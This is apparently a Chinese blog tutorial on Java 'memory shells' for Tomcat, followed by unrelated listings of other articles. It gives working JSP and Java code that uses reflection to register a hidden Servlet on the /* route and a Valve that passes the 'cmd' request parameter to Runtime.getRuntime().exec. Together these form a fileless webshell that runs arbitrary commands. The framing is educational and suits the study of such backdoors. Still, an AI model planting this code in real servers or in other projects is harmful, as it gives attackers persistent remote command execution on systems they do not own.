JAVA攻防-内存马技术手搓代码调试反射Tomcat中间件Servlet路由器Valve管道器 📅 发布时间:2026/7/5 22:26:16 👁️ 浏览次数: 知识点Java攻防-内存马技术-手搓代码TomcatServletValve演示案例-Java攻防-内存马技术-手搓代码TomcatServletValveServlet内存马0、添加依赖方便后续IDA调试分析dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-catalina/artifactIdversion9.0.68/version/dependency1、Servlet使用web.xml配置或WebServlet()等。servletservlet-nameservletDemo/servlet-nameservlet-classcom.test.servletDemo/servlet-class/servletservlet-mappingservlet-nameservletDemo/servlet-nameurl-pattern/demo/url-pattern/servlet-mapping2、动态分析参考https://cloud.tencent.com/developer/article/2130045编写一个继承于servlet的类并重写doGet或其他方法 反射调用request类StandardContext类获取context 调用createWrapper方法后设置基于web.xml的配置信息 addChild添加第一个配置addServletMappingDecoded添加第二个配置web.xml配置才是重点如何通过反射技术往这里添加配置。3、内存马实现% //获取StandardContext#contextField reqFrequest.getClass().getDeclaredField(request);reqF.setAccessible(true);Request req(Request)reqF.get(request);StandardContext context(StandardContext)req.getContext();//创建wrapper并写入servlet信息 Wrapper wrappercontext.createWrapper();wrapper.setName(testservlet);wrapper.setServletClass(HelloServlet.class.getName());wrapper.setServlet(new HelloServlet());//添加wrapper并添加路由信息 context.addChild(wrapper);context.addServletMappingDecoded(/*,testservlet);%Tomcat-Valve内存马Valve译文为阀门。在Tomcat中四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中都有一个管道(PipeLine)及若干阀门(Valve)。它们各自拥有独立的管道PipeLine当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时会首先调用用户添加的Valve最后再调用缺省的Standard-Valve形象地打个比方供水管道中的各个阀门用来实现不同的功能比方说控制流速、控制流通等等。0、添加依赖方便后续IDA调试分析dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-catalina/artifactIdversion9.0.68/version/dependency1、Valve使用public class TestVavle extends ValveBase{Override public void invoke(Request request, Response response)throws IOException, ServletException{String cmdrequest.getParameter(cmd);if(cmdnull){getNext().invoke(request, response);}else{Runtime.getRuntime().exec(cmd);}}}-全局模板 所有应用都继承相同的 Valve 配置可以修改 Tomcat 的全局context.xml位于$CATALINA_BASE/conf/context.xml -自定义部署 在 src/main/webapp/META-INF 目录下创建context.xml文件2、动态分析参考https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw编写一个继承于ValveBase的类并重写Invoke方法 反射调用request类StandardContext类获取context 随后调用相应容器实例的getPipeline方法后addValve添加3、内存马实现% //反射调用request类 Field reqFrequest.getClass().getDeclaredField(request);reqF.setAccessible(true);Request req(Request)reqF.get(request);//反射调用StandardContext类获取context StandardContext context(StandardContext)req.getContext();//调用getPipeline Pipeline pipelinecontext.getPipeline();//传入testVavle类 TestVavle testVavlenew TestVavle();pipeline.addValve(testVavle);%
394. 字符串解码 394. 字符串解码 中等 给定一个经过编码的字符串,返回它解码后的字符串。 编码规则为: k[encoded_string],表示其中方括号内部的 encoded_string 正好重复 k 次。注意 k 保证为正整数。 你可以认为输入字符串总是有效的;输入字符串中没有… 2026/7/5 22:21:57
RK809调试 一、内核配置(让内核支持 RK809 音频)1. 启用 simple-audio-card 通用音频驱动文件位置:kernel/arch/arm64/configs/lubancat2_defconfig(或你的板级 defconfig)修改内容:CONFIG_SND_SIMPLE_CARD_UTILSy CO… 2026/7/5 22:24:28
【毕业设计】SpringBoot+Vue+MySQL web铁路订票管理系统平台源码+数据库+论文+部署文档 摘要 随着我国铁路交通网络的快速发展和旅客出行需求的日益增长,传统的人工售票和电话订票方式已无法满足现代化出行的高效性和便捷性需求。铁路订票管理系统的数字化升级成为解决这一问题的关键途径。该系统旨在通过信息化手段优化票务管理流程,提升旅… 2026/5/17 7:54:43
Hugging Face与Flair默认情感分析管道深度对比 1. 项目概述:为什么“开箱即用”的情感分析模型值得较真?你是不是也经历过这样的场景:项目时间紧,老板说“先跑个情感分析看看用户评论倾向”,你火速打开 Hugging Face 的pipeline,一行代码搞定;… 2026/7/5 22:24:52
移动端实时AI换脸部署实战:模型量化与跨平台优化 1. 项目概述:当实时AI换脸遇上移动端最近在折腾一个挺有意思的项目,叫Deep-Live-Cam。简单说,它是个开源的实时人脸替换工具,你给它一张目标人脸图片,它就能用你的摄像头实时把画面里的人脸换成目标脸,效果… 2026/7/5 22:22:51
KOLLMORGEN CP310250伺服驱动器技术解析与应用指南 1. 产品定位与核心特性解析 KOLLMORGEN CP310250伺服驱动器是工业自动化领域的一款高端驱动解决方案,专为对动态响应和精度要求严苛的应用场景设计。这款额定功率3kW的驱动器采用了模块化架构,支持多种反馈接口(包括EnDat 2.2、BiSS-C、Resol… 2026/7/5 22:22:51
蒙特卡洛方法在SIR模型中的3个关键应用:从参数估计到干预策略评估 蒙特卡洛方法在SIR模型中的3个关键应用:从参数估计到干预策略评估引言:当概率遇上流行病学想象你是一位公共卫生决策者,面对一种新型传染病的爆发,需要回答三个关键问题:病毒传播速度有多不确定?如果实施社… 2026/7/5 22:20:51
Three.js 中国旗帜教程 中国旗帜 China Flag ▶ 在线运行案例 案例合集: 三维可视化功能案例(threehub.cn)开源仓库github地址: https://github.com/z2586300277/three-cesium-examples400个案例代码: 网盘链接 你将学到什么 RawShaderMaterial 手写… 2026/7/5 22:18:51
App渠道追踪实战指南:iOS、Android与鸿蒙多平台实现与避坑 1. 项目概述:为什么渠道追踪是App增长的“生命线”在移动互联网的下半场,流量红利见顶,每一分市场预算都变得弥足珍贵。作为开发者或市场运营,你是否曾面临这样的灵魂拷问:我们投放在抖音、小红书、知乎、应用商店的广… 2026/7/5 22:18:51
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/5 0:01:32
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/5 0:01:32
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/5 0:05:36
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/5 0:01:32
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/5 0:01:32
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/5 0:05:36